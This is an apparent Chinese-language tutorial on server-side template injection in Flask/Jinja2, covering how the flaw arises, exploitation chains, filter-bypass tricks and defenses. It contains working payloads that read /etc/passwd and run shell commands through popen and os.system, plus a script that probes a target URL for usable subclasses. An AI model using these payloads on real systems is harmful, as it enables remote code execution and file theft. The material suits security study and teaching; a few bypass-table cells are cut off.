flask的SSTI注入
字数 1210 2025-08-25 22:58:35
Flask SSTI注入全面解析与防御指南
1. Flask框架基础
1.1 路由装饰器
Flask使用@app.route()装饰器定义URL路由:
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "首页"
@app.route('/user/<username>')
def show_user(username):
return f"用户: {username}"
1.2 模板渲染方法
Flask提供两种主要模板渲染方法:
render_template(): 渲染指定模板文件render_template_string(): 直接渲染字符串模板
目录结构示例:
app.py
static/
templates/
index.html
2. SSTI注入原理
2.1 漏洞成因
SSTI(Server-Side Template Injection)漏洞产生于开发人员不安全的模板渲染方式:
# 危险示例 - 直接拼接用户输入
@app.route('/unsafe')
def unsafe():
user_input = request.args.get('input')
template = f"<h1>{user_input}</h1>"
return render_template_string(template)
# 安全示例 - 使用模板变量
@app.route('/safe')
def safe():
user_input = request.args.get('input')
return render_template_string("<h1>{{ input }}</h1>", input=user_input)
2.2 关键Python魔术方法
| 方法/属性 | 描述 |
|---|---|
__class__ |
获取对象所属类 |
__bases__ |
获取类的基类 |
__mro__ |
方法解析顺序,获取继承链 |
__subclasses__() |
获取类的所有子类 |
__init__ |
类初始化方法 |
__globals__ |
获取函数全局变量字典 |
__getitem__ |
替代中括号访问属性 |
3. 利用技术
3.1 基本利用链
# 文件读取
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
# 命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
3.2 查找可用子类的脚本
import requests
url = "http://target.com/vulnerable_endpoint"
for i in range(300):
payload = {"input": "{{''.__class__.__base__.__subclasses__()[%d]}}" % i}
try:
r = requests.post(url, data=payload)
if "_wrap_close" in r.text: # 查找特定子类特征
print(f"Found at index: {i}")
break
except:
pass
4. 绕过技术
4.1 常见过滤绕过方法
| 过滤项 | 绕过方法 |
|---|---|
{{}} |
使用{%%}配合print |
[] |
使用__getitem__ |
. |
使用` |
_ |
十六进制编码(\x5f)或Unicode编码(\u005f) |
| 引号 | 使用request.args传参或字符串拼接 |
| 数字 | 使用数学运算或` |
| 关键字 | 字符串拼接('cla'+'ss')、编码、过滤器 |
4.2 高级绕过示例
过滤.和[]的情况:
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(139)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
使用request.args传参绕过关键字过滤:
GET请求: ?a=__init__&b=__globals__&c=os&d=whoami
模板: {{()|attr(request.args.a)|attr(request.args.b)|attr("__getitem__")(request.args.c).system(request.args.d)}}
5. 防御措施
- 避免直接渲染用户输入:永远不要直接将用户输入拼接到模板中
- 使用安全的模板变量:使用模板引擎的变量语法
{{ var }} - 沙盒环境:使用Jinja2沙盒环境限制可用功能
- 输入过滤:对用户输入进行严格过滤
- 禁用危险功能:在生产环境禁用
render_template_string - 最小权限原则:运行Flask应用时使用最低必要权限
6. 实战案例
6.1 典型SSTI漏洞场景
@app.route('/vulnerable')
def vulnerable():
user_input = request.args.get('name')
template = f"Hello, {user_input}!"
return render_template_string(template) # 危险!
6.2 安全修复方案
@app.route('/safe')
def safe():
user_input = request.args.get('name')
return render_template_string("Hello, {{ name }}!", name=user_input) # 安全
7. 参考资源
通过深入理解这些原理和技术,开发人员可以更好地防范SSTI漏洞,安全研究人员也能更有效地识别和验证这类漏洞。